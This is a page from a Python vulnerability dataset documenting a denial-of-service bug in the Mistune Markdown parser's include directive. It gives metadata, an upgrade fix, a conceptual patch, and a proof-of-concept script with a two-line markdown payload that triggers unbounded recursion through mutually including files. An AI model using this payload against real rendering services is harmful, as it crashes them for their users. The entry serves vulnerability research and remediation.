VAITP Dataset

← Back to the dataset

CVE-2026-59927

Unbounded recursion in Mistune's include directive can cause a DoS.

  • CVSS 5.3
  • CWE-674
  • Resource Management
  • Remote

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the Include directive in src/mistune/directives/include.py detects only direct self-includes and not indirect cycles, allowing two markdown files that include each other to trigger unbounded recursion, raise RecursionError, and crash the rendering request. This issue is fixed in version 3.3.0.

CVSS base score
5.3
Published
2026-07-08
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Mistune
Fixed by upgrading
Yes

Solution

Upgrade Mistune to version 3.3.0 or later.

Vulnerable code sample

import mistune
from mistune.directives.include import Include
import os

# NOTE: This code requires a vulnerable version of mistune (< 3.3.0).
# For example: pip install "mistune<3.3.0"

# 1. Create two markdown files that form an indirect inclusion cycle.
with open("file_a.md", "w") as f:
    f.write("This is file A, which includes file B.\n")
    f.write(".. include:: file_b.md\n")

with open("file_b.md", "w") as f:
    f.write("This is file B, which includes file A.\n")
    f.write(".. include:: file_a.md\n")

# 2. Set up the mistune parser with the 'Include' directive.
markdown = mistune.create_markdown(plugins=[Include()])

# 3. Read the content of the starting file.
with open("file_a.md", "r") as f:
    content = f.read()

# 4. Trigger the vulnerability.
# The 'state' dictionary is necessary to provide context (like the current file's path)
# to the include directive.
# In a vulnerable version, this call will enter an infinite loop of A including B
# and B including A, eventually raising a RecursionError and crashing the process.
try:
    state = {'filepath': os.path.abspath('file_a.md')}
    markdown(content, state)
except RecursionError:
    print("Vulnerability triggered: Caught expected RecursionError.")
finally:
    # 5. Clean up the created files.
    os.remove("file_a.md")
    os.remove("file_b.md")

Patched code sample

This code example conceptually represents the logic used to fix the unbounded recursion vulnerability in Mistune. The actual implementation is part of the `Include` directive class. The fix involves tracking the history of included files during a single rendering pass to detect indirect cycles.

```python
class FixedIncludeDirective:
    """
    A conceptual representation of the fixed Mistune Include directive logic.
    This would be part of a larger Markdown parsing system.
    """
    def __call__(self, directive, md):
        """
        This method is called when an '!include' directive is processed.

        :param directive: An object containing parsed directive info,
                          including the filename in `directive.text`.
        :param md: The main Markdown parser instance, which holds the
                   rendering 'state'.
        """
        # The 'state' object is used to pass information through a single
        # rendering process. We use its 'env' dictionary to store our history.
        state = md.state

        # Initialize the include history set if it doesn't exist for this render.
        if '_include_hist' not in state.env:
            state.env['_include_hist'] = set()

        filepath = directive.text.strip()

        # --- THE FIX ---

        # 1. Check for circular inclusion. Before including the new file,
        #    check if its path is already in the history for the current
        #    rendering chain.
        if filepath in state.env['_include_hist']:
            # If it is, an indirect cycle has been detected. Raise an error
            # to halt execution and prevent infinite recursion.
            raise RecursionError(f"Circular inclusion detected: {filepath}")

        # 2. Add the current file to the history before processing it.
        state.env['_include_hist'].add(filepath)

        # In the actual library, this section reads the file content
        # and recursively calls the parser on that content. For example:
        #
        # with open(filepath, 'r') as f:
        #     content = f.read()
        # md.parse(content)

        # 3. After the file (and any of its own nested includes) is fully
        #    processed, remove it from the history. This is crucial because
        #    it allows the same file to be included again later in a
        #    different, non-circular part of the document tree.
        state.env['_include_hist'].remove(filepath)

        # The directive returns the rendered content (which is empty in this case,
        # as the included content is parsed directly into the main document).
        return ''

Payload

.. include:: file_b.md
```

```markdown
.. include:: file_a.md

Cite this entry

@misc{vaitp:cve202659927,
  title        = {{Unbounded recursion in Mistune's include directive can cause a DoS.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-59927},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59927/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::